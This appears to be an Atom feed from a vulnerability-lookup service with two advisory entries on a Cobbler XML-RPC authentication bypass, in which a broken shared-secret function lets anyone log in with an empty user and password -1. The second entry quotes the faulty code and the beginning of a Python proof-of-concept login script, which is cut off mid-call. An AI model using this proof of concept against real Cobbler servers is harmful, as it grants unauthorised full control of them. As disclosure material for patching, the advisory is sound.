<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-12T10:59:51.336348+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2024-47533</id>
    <title>CVE-2024-47533 — Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes</title>
    <updated>2026-10-12T10:59:51.338090+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> cobbler, cobbler_project cobbler</p>
<p>Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2024-47533"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-m26c-fcgh-cp6h</id>
    <title>GHSA-m26c-fcgh-cp6h — cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes</title>
    <updated>2026-10-12T10:59:51.338140+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: cobbler</p>
<p>### Summary</p>
<p>utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.</p>
<p>### Details
utils.py get_shared_secret:
```
def get_shared_secret() -&gt; Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.</p>
<p>:return: The Cobbler secret which enables full access to Cobbler.
    """</p>
<p>try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()
```
Always returns `-1` because of the following exception:
```
binary mode doesn't take an encoding argument
```</p>
<p>This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.</p>
<p>### PoC
```
#!/usr/bin/python3</p>
<p>import ssl
import xmlrpc.client</p>
<p>params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()</p>
<p>url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)</p>
<p>try:
    token = conn.login(para…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-m26c-fcgh-cp6h"/>
  </entry>
</feed>
